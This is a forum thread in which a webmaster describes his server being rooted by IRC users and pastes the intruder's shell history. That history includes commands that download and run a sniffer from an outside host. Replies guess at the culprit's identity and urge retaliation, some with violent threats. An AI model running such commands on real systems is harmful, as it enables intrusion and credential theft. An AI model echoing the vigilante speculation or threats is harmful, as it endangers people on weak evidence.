Thank you for hacking my server...
 

Fucking irc punk asses.

My sites, my plugins, everything is down...why...because some bored kid deceided to use my server for his eggdrops and shit.
He didnt fuxor it a bit, no created tons of new users, installed fake server programs, installed password retrievers etc etc.

These fuckers dont have a clue that whats a game to them is someone else his work, his income.

I have to explain the companies that lease my plugin that my site is down because some kid was bored.

Fuck, this asshole has a big problem when i find out who he is.

Unfortunately, you probably won't, and if you do, chances are he's in some distant country :(

The first part i agree, 2nd part not. I have no problems spending money on a ticket to pay him a visit.

Yep. You'll never find him.

Unfortunately :(

Check this fucking assclown

w
cd /usr/tmp/.armz
ls
cat sniff.log
more ls
ls
wget syerwerz.biz/snoop/sksniff
wget syerwerz.biz/sksniff
chmod +x sksniff
./sksniff
ls
cat file.log
ftp xx.xx.xx.xx


~Wed Nov 5 23:54:13 :([email protected]) hello ~Thu Nov 6 07:02:32 [email protected]) hi ctc ~Thu Nov 6 22:56:10 [email protected]) hi ~Fri Nov 7 00:05:22 :([email protected]) hi ctc ~Fri Nov 7 00:07:36 [email protected]) HI ~Fri Nov 7 00:22:40 [email protected]) R I THERE ~Fri Nov 7 00:26:06 [email protected]) RRRRRRRRRRRRRRRRR UUUUUUUUUUUUUUUUUU TTTTHRRRRE ~Fri Nov 7 03:18:07 [email protected]) hi ther ~Fri Nov 7 04:49:46 [email protected]) hi care to chat ~Fri Nov 7 06:38:11 [email protected]) hi

And the user was out

ya.. some one got in my win2k box some how to.. been up to date since i got it.. on my unix box's tho i firewall out everything that's not on port 80 so only my ip can even connect to it..

Looks like you've got rooted. Couldn't figure out what the script does exactly, but it looks like a rootkit to me. Beter reinstall that baby!

If you got some logs or anything, hit me up on icq 46762719, i'm very interested in them!

My host is on it...the box is so fucked up we have to move all my stuff. Its crazy.

Interesting...

wget syerwerz.biz/sksniff

If you check that site out you will see that theres no link to that program on the site, yet the guy knew where it was located.
Could he be the owner?

Sorry to hear bro..... slim chance of finding the guy but I hope ya do

Use the bot to take control of their irc channel, and have fun kicking/banning them. When they start crying to have the ops back, tell them you wont until you know who hacked your server. Then pay him a visit :winkwink:

Interesting, the same owner of that site also runs
chatpinoy.com an irc chat.

Notice how that part of the log i posted has all this chat crap in it.

I say this all the time !!

What a waste of talent !
This asshole could make cash on the net instead of hacking boxes.
Kill the fucker

Sorry about that.

sorry to hear that man, have a happy thanksgiving anyways

thats bad... sorry to hear that:(

Thanks guys.

Checked that out too yea, and my first idea too was that he runs the site.

Any more info already?

hi battus, long time huh...

don't worry about that hacker, he'll get his time and you'll
get a crack of him soon. but for the meantime, enjoy
the Turkey
:thumbsup

I believe that USA is the only country that celebrates this holiday...

getting hacked sucks Battus..sorry to hear, hope the day is looking better for you:)

Hey girl...

Going to vegas?

You must be kidding, give these kids root and tell them to set up apache / add a domain / manage a server or whatever and they won't know what to do.

sorry dude, get some turkey and gobble gobble

Yup you'll never find me. j/k :winkwink:

wrong, let me rephrase yours... "Every American celebrates Thanksgiving whether in the US or outside"

enjoy the turkey:)

dont think so, i would love to tho.

damn battuss that blows. hope it all gets sorted quick and yer clients don't get too pissy about it

What OS and version were you running?

In the irc channel of that site is a guy called kAgAw.
Hes also in the pinoy channcel (that chat)

After that i bumped in to this
pinoybnc.cjb.net
On this site he is mentioned as well...i think its all connected.

Go kick the utter shit out of him!! then kill all of his family!!

He won't do it again after that!!

sorry bro I didn't know it was your site....
ill stop the attack in a sec.

Sorry to hear about that... I had it happen once years ago when I was being lazy... never again.

It's been tried many times since. It always pisses me off, even though they don't succeed.

If you're interested, I have decent security consulting rates :)

Hope your host gets you back soon. :)

just be glad you dont host in the US...i have a few tickets in to techs at a couple different companies i use and no response yet...holidays suck

Too late, im coming after you.

Why not?